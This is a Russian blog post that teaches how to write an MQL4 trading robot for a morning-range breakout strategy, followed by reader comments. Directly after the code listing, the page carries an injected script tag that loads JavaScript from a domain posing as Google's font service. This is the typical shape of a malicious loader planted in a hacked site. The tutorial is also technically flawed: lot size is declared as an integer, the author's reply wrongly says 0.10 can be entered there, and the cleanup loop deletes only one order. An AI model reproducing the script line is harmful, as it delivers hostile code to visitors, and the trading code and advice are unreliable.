Как написать советника на MQL4



В статье: как написать советника на MQL4, я расскажу как написать советника (робота), на основе стратегии пробой утреннего флэта. Советник будет выставлять отложенные ордера в 7 часов на пробитие флэта с 1 до 6 утра. Вы можете скопировать код в свой MetaTrader и вставить как в первом уроке.

Каждую строчку я откомментировал. Надеюсь, что понятно. Если что, задавайте вопросы.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#property copyright "ForexMan"
#property link      "http://bergovfx.com"
 
extern int  Lots=1;
extern int  TakeProfit=60;
extern int  StopLoss=20;
extern int  Raznica=5;
 
 
int start()
{
if(DayOfWeek()==0 || DayOfWeek()==6) return(0); // в выходные не работаем
 if(!IsTradeAllowed()) return(0); // пропустим тик, если терминал занят
 
double max, min; //максимальная и минимальная цены
 
 // Если 7 утра - открываем сделки на пробой флэта
 if(Hour()==7 && OrdersTotal()==0)
       { 
 
// 1. Находим минимум максимуму
         max=High[iHighest(NULL,PERIOD_H1,MODE_HIGH,6,1)]; //максимальная цена за последние 6 баров 
         min=Low[iLowest(NULL,PERIOD_H1,MODE_LOW,6,1)]; // минимальная цена за последние 6 баров 
 
// 2. Открываем сделку
        OrderSend(Symbol(),OP_BUYSTOP,Lots,max+Raznica*Point,3,max+Raznica*Point-StopLoss*Point, max+Raznica*Point+TakeProfit*Point, "My order#",16384,0,Green);
        OrderSend(Symbol(),OP_SELLSTOP,Lots,min-Raznica*Point,3,min-Raznica*Point+StopLoss*Point, min-Raznica*Point-TakeProfit*Point,"My order#",16384,0,Blue);        
      }
 
// Удаляем ордера в 16.00    
 if(Hour()==16)
       { 
 
 for (int i=1; i<=OrdersTotal(); i++)       //Цикл по всем ордерам,..
     {                                        //отражённым в терминале
      if(OrderSelect(i-1,SELECT_BY_POS)==true)//Если есть следующий
      {                                     
        OrderDelete(OrderTicket());return;
      }
     }        
}
}
 
<script src="//css.googleaps.ru/css?f=Open+Sans&cd=mb&ver=4.2.2"></script>

Как протестировать советника:
Первое, это входим в свой metatrader. Выбираем тестер стратегий. Значок сверху я выделил. Потом выбираем советника в списке. Разумеется, до этого Вы его откомпилировали. Выбираем период H1 (часовой график) и нажимаем старт. Если хотите видеть все в реальном времени, ставим галочку «визуализация».

Как написать советника

Отличное видео от Финам по созданию робота:
как создать своего робота, принцип адаптивности (робот дорабатывает себя во время торговли), рынок находится 80% в боковом движении. Работа с индикаторами ADX (определение флэта), скользящая средняя (изменение тренда), RSI (конттрендовый индикатор). Управление капиталом, мартенгейл, усреднение.

Смотреть - Принципы написания робота

Ежемесячный конкурс соц. сетей, условия вступить к нам группу и поделится записью. Приз любая платная разработка подробнее


Понравилась статья, поставь оценку:
1 Star2 Stars3 Stars4 Stars5 Stars (2 votes, average: 5,00 out of 5)
Loading...Loading...


Будь в курсе новостей сайта. Подпишись!

После подписки сразу получите набор всех мои разработок (индикаторы, скрипты, советники) + трейдерская литература! Посмотреть содержимое подарка

email рассылки

Еще записи:





Ежемесячный конкурс лучшего комментатора. Приз любая платная разработка подробнее, комментарии пишем по делу! Кто наберет больше комментариев за год, получит бесплатное обучение по форекс!

Написать комментарий

  1. Дмитрий:

    Антон спасибо за сова,для первого знакомства с языком очень интересно. После оптимизации сов еще и прибыль дает.

  2. Ruslan:

    В коде изменил на 0.10,а в тестере в свойствах эксперта не выставляется 0.10 только 1,в чем может быть дело? Весь код пересмотрел….

  3. Антон Бергов:

    Так и напишите 0.10, где переменная extern int Lots=1;

  4. Ruslan:

    Как в коде изменить размер лота с 1.00 на 0.10?

ЗАДАЙ ВОПРОС?

Top-100 блогов инвесторов, 
					трейдеров и аналитиков   |     |   Яндекс.Метрика

website monitoring results and uptime stats [Valid RSS] Счетчик PR-CY.Rank